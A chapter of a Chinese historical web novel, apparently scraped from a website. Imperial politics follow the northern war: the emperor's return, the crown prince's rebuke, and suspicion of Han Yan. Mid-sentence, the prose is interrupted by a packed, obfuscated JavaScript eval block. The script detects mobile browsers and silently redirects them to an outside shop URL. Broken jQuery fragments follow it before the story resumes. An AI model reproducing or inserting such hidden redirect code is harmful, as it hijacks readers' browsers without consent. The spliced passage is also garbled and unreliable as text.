到九月初，东西通路官道终于通畅。各地发出去的消息这才陆陆续续抵达望都。


    官员们这才知晓，原来半月前，颉可利就被杀死在凉州荒漠里，他手下的残余部队也皆数被景朝大军收缴。消息传到望都时，全城都欢呼起来。


    因这些年着实被北戎兵进犯搞得人心惶惶的，如今颉可利死了，再也不用担心北戎军什么时候打过来，百姓们夜里睡觉都踏实了。


    望都城外营帐里，韩宴也收到了来自甘州的回信。信是他父王寄来的，信中说明了北疆战事情况，并询问他的归期。至于对他前次所问的问题，则没有做出回答。


    韩宴览毕信件，捏了捏眉心。


    谋士察言观色，小心翼翼道：“郡王，可是王爷有指示？”


    他们来望都已逾半月，当初是奉王爷之命前来解救望都之危，只谋士知道，其实早在数月前，宁王就得知北戎异动的消息，可他并没有当即报告朝廷，而是等到北戎挥师南下，大军都打到京师城门口了，才命他们前来襄助。


    宁王是先帝嫡出，是昭文太子一母同胞的弟弟，若当初没有那些事，他如今应是大权在握，富贵锦绣的亲王，而不是在边塞苦寒之地同将士们出生入死，要靠一刀一枪靠血肉拼杀才能保住王藩。


    而且说句大不敬的，比起如今龙椅上的那位，宁王无论是才智谋略还是胸怀气度都更胜一筹。


    所以当月前收到宁王之命时，谋士其实有过期待。他以为，王爷等到最后才发兵，是想借着勤王的名义借机把控整个望都。


    但如今，皇帝都要返回了，大军还只驻扎在城外，将城内布防拱手让给了京师三大营，这实在和他之前所预判的大大不同。


    韩宴听到谋士的问话，微微睁开眼，将手中信件递过去。


    谋士上前一步，接住，而后低头看起来，只看着看着，眉头也不由蹙紧。


    王爷竟要他们尽早返回！


    可……难道是他会错意，王爷根本没那方面想法？


    但既如此，当初为何不早早禀告北戎那边情况，若朝廷早点收到消息，也不会有望都防守空虚，进而给匪贼作乱提供机会。想到那一车车拖出城外的尸体，谋士也不禁哀凉。


    那些也不知是谁的子女，谁的父母。


    哎……


    谋士看完信函，收起心中复杂情绪，顿了片刻，再次问道：“那，我们见过陛下了就回去？”


    因这些天甘州军驻守在这里，也没什么事干，士兵们闲得都发毛，谋士也担心士兵们闲下来会生事。若因为一些小事坏了他们这一趟来立下的功劳，就十分不值当了。


    等了良久，韩宴才“嗯”了一声。


    谋士抬眼看去，才发现郡王微闭着眼，仰靠在椅背上，似是睡过去了。


    谋士不敢多言，放轻了脚步，躬身退了出去。


    九月十二，圣驾返回望都。


    兴明帝原打算多住几月的，因到了九月，天气渐冷，相比望都的严寒，东都要温和许多。兴明帝每日好吃好喝，都长胖了不少，所以当景朝大军得胜的消息传来时，他还诧异地问了声：“真的吗？”


    竟这么快就结束了。


    明明才过来没多久呐。


    兴明帝实在不想离开东都。


    只他身边老内侍劝道：“北戎收缴了那么多人，甘州军，征西军与凉州军功不可没，大军不日返回，将领们都望着您呐，陛下须亲自迎接方彰显天威与凝聚民心，万不可令将领们寒心啊。”


    老内侍在他尚为皇子时就在身边伺候了，这么多年，跟着他从皇宫到了安王府，又从安王府重回皇宫，是他贴身且最信任的人。


    兴明帝叹了口气，摸了摸肥圆的肚子，也知道老内侍的话没错。便是身为皇帝也有许多不得不为之之事，这天下，皇权本就是最大的枷锁。


    于是下令，三日后返回望都。


    皇帝这一趟匆匆来又匆匆去，不仅他本人不乐意，望都城里还有一人也发着牢骚。


    太子监国，前后不过一个月，当初踌躇满志，势要做出点成绩给他父皇看看，临到末了却出了匪贼乱城这档事，现在户部几个官员还未回来，他光是处理善后相关事宜就一个头两个大，又听到圣驾返回的消息，更是忙得几个晚上都没睡觉，急得连口疮都长出来了。


    太子府所有幕僚也跟着加班加点，终于在圣驾返回的前一天准备妥当。


    至第二日，太子又亲自出城迎接，直到皇帝御驾从朱雀门进了宫城，所有人才松了口气。


    只太子知道，事情还没完。果然，兴明帝回到皇宫，就发了一通火。


    因在东都时消息传递不及时，兴明帝只知道有匪贼生事，但如今一看具体名册，居然死了一万多人。比前朝末年乱世年间死的人还多！


    兴明帝就怒了。


    “你看看你办的事，连个皇城都管不好！”


    太子心中憋屈。当初若不是皇城空虚，又怎会让匪贼们钻了空子，说到底还是兴明帝自己贪生怕死，将仅剩的防卫带走，才会有后面这些事。


    只这些事谁都明白，又能怎样？大家不会说皇帝的不是，只会认为是他这个太子办事不力。


    特别是，在晋王领着征西军大败北戎，彻底消灭了北疆危机后，愈发衬托得他无能。


    太子憋着气，也只能将罪责揽下。


    兴明帝发完火，见太子跪在地上，一副小心惶然的模样。到底是自己嫡长子，当初他让自己感受到了初为人父的心情，自然也是真心喜爱过的。虽然越长大越平庸，但认真想来，太子也没有犯过多大的错。


    兴明帝便叫他起来，又问：“征西军何时到望都？”


    太子得到的消息是，大军已在十日前动身，考虑到天气转冷和随军的大批北戎俘虏，保守估计应还有半个月才能抵达望都。


    兴明帝点头，半个多月，足够准备了。


    “迎军的事就交给你，务必办得隆重，切不可再有闪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020114|174474||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    失，知道吗？”


    这种亲迎凯旋大军得胜还朝的事本是国之重事，兴明帝愿意将之交给太子准备，摆明了还想给他机会，这原是好事。


    太子也欣喜地领了任务，只等他退出大殿，被冷风一吹，忽而清醒过来。


    什么国之重事，那监管征西军的不正是自己的好弟弟晋王韩沛吗，他这边费劲心力准备，原来是帮着恭贺韩沛凯旋还朝！太子顿时有一种为他人做嫁衣的感觉，而且，这事要让韩沛知道，背地里还不定怎样嘲笑他！


    太子刚刚憋下的委屈又腾地一下冒起来。


    父皇真是太偏心了！派给韩沛这么大桩能镀金的美差，自己辛辛苦苦守着望都一个月，临到头只领了一顿骂。


    太子越想越窝火，只恨自己运气背。


    正要提步下台阶时，却见一人被内侍领着，正踩着白玉石阶而上。


    上了玉阶，那人又躬身行礼，太子这才点头，道了声“郡王”。


    说起来，这次望都围困之所以能顺利解除，全赖韩宴带领的甘州军之功，且他在大败北戎军后，并没有顺势接管皇城布防，而是规规矩矩驻扎在城外。


    太子对这种低调又识时务的人一向都以礼相待，于是眼下见到他，便敛了脸上怒气，道：“郡王这次破敌有功，先行恭贺了！”


    韩宴微微一笑：“守土卫国本就是臣子之职，何功之有？说到功劳，太子您这一个月夙兴夜寐，为了皇城安危不辞辛劳，才是居功至伟！”


    这句话简直说到太子心坎里了。若不是场合不对，太子就要拉着他把酒长谈了。


    他拍拍他肩，当即表态：“郡王不要自谦，你的功劳大家有目共睹，你放心，我会替你在父皇面前美言的。”


    韩宴再次一笑，又拱手行礼。


    太子看着他进了大殿，方挪开目光。


    这韩宴人不错，若是自己亲弟弟就好了，识趣知礼的，比那奸诈狡猾的韩沛好上太多了。可惜可惜！


    大殿门口，韩宴脸上的笑意早已淡去，他拍了拍肩臂处微起的褶皱，待整理好衣襟后，才听里面唤道：“进来。”


    韩宴敛下目光，微低头，走进大殿里。


    兴明帝已知甘州军破敌一事，对于领军之人，他亦有耳闻。当年，他刚刚继位，为了彰显天子之德，他下令大赦天下，这其中就有他的十一弟，因昭文太子一事被圈禁的宁王及其家眷。他恢复了宁王王藩，并让他领了一方军权。


    只他了解的情况是，宁王因圈禁身体早不好了，所以他将他派去甘州，想着甘州气候险恶，他到了那应该也活不长。但没想到，宁王硬是挺过来了，非但没死，而且每年给朝廷上呈的奏封里都有不少功绩，近些年因打了许多胜仗更是声名大噪。


    兴明帝的内心就微妙起来。


    因无论再仁德的皇帝，在皇权太阿面前，都是冷酷且无情的。


    特别是这个人的身份比自己还正统。


    兴明帝当然也不例外。